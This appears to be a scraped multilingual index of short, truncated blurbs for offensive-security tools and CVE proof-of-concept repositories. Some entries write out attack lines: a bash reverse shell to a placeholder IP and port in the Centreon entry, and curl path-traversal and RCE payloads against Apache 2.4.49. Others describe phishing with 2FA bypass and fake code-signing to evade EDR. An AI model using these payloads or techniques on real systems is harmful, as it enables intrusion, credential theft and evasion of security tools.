cve-2023-50164-poc

PoC для CVE-2023-50164 Установка Для установки этого инструмента у вас должна быть установлена и настроена версия Go не ниже 1.20. $ go install github.com/dwisiswant0/cve-2023-50164-poc@latest В качестве альтернативы вы можете скомпилировать его самостоятельно: $ git clone...

probe-legacy

⚠️⚠️⚠️⚠️ : ce dépôt contient le code source de l'ancienne implémentation d'ooniprobe. Veuillez plutôt consulter : 1. https://github.com/ooni/probe, le méta-dépôt où vous devez ouvrir les problèmes et demandes de fonctionnalités ; 2. https://github.com/ooni/probe-cli, qui contient la nouvelle...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Нажимаем Add , как показано на изображении ниже. Теперь создаем bash reverse shell в качестве нашей команды Miscellaneous root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 И нажимаем Save Теперь переходим в Configuration Pollers и нажимаем н...

dotdotslash

dotdotslash An tool to help you search for Directory Traversal Vulnerabilities Benchmarks Platforms that I tested to validate tool efficiency: DVWA low/medium/high bWAPP low/medium/high Screenshots Instalation You can download the last version cloning this repository root@kitploit: git clone...

CVE-2017-5638

CVE: 2017-5638 - Apache Struts2 S2-045 の PoC こんにちは！元のスクリプトを requests ライブラリを使うようにリファクタリングしました。他のライブラリではエラーが発生していたためです。参考になれば幸いです！ 使用方法: python3 cve-2017-5638 url cmd-command...

CVE-2024-32002

GIT RCE CVE-2024-32002 Description | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | First you need to create "calledrepo" "commandrepo" repos on git. | Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to...

CVE-2024-21626

PoC уязвимости CVE-2024-21626 Полную статью с подробным объяснением читайте здесь. Связанная статья В ходе исследования CVE-2024–21626 я обнаружил уязвимость, которая была упущена в более старых версиях Docker и runC. Чтобы узнать больше о том, что я нашел, прочитайте следующую статью: «Изучение...

mass3

Énumérez rapidement une liste pré-compilée de buckets AWS S3 en utilisant DNS plutôt que HTTP, avec une liste de résolveurs DNS et du multi-threading. Attention : sachez que ce code Go est vraiment mauvais. Je l'ai écrit sans aucune connaissance préalable de Go Lang mais il semble faire le travai...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 中的路径遍历漏洞。 RCE 概念验证 PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh 关注我们 Vulnmachines...

Limelighter

LimeLighter Инструмент для создания поддельных сертификатов подписи кода и подписывания бинарных файлов и DLL, помогающий обходить продукты EDR и избегать проверок MSS и сокетов. LimeLighter также может использовать действительные сертификаты подписи кода для подписывания файлов. LimeLighter може...

qark

Quick Android Review Kit This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs. The tool is also capable of creating "Proof-of-Concept" deployable APKs and/or ADB commands, capable of exploiting many of the...

qark

Kit de révision rapide Android Cet outil est conçu pour rechercher plusieurs vulnérabilités de sécurité liées aux applications Android, que ce soit dans le code source ou dans les APK packagés. L'outil est également capable de créer des APK déployables de preuve de concept et/ou des commandes ADB...

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...

gau

getallurls gau getallurls gau fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, Common Crawl, and URLScan for any given domain. Inspired by Tomnomnom's waybackurls. Resources Usage Installation ohmyzsh note Usage: Examples: root@kitploit: $ printf example.com | gau $...

CVE-2024-36104

CVE-2024-36104 Заявление Данный инструмент предназначен только для личного изучения безопасности. Любые прямые или косвенные последствия и убытки, вызванные распространением или использованием данного инструмента, несет сам пользователь; автор инструмента не несет за это никакой ответственности...

ysoserial

ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. Description Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections 3.x and...

evilginx2

Evilginx 3.0 Evilginx is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection. This tool is a successor to Evilginx, released in 2017, which used a custom version of nginx HTTP server...

airflowscan

airflowscan Checklist and tools for increasing security of Apache Airflow. DISCLAIMER This project NOT AFFILIATED with the Apache Foundation and the Airflow project, and is not endorsed by them. Contents The purpose of this project is provide tools to increase security of Apache Airflow...

vhosts-sieve

VHosts Sieve Searching for virtual hosts among non-resolvable domains. Installation root@kitploit: git clone https://github.com/dariusztytko/vhosts-sieve.git pip3 install -r vhosts-sieve/requirements.txt Usage Get a list of subdomains e.g. using Amass root@kitploit: $ amass enum -v -passive -o...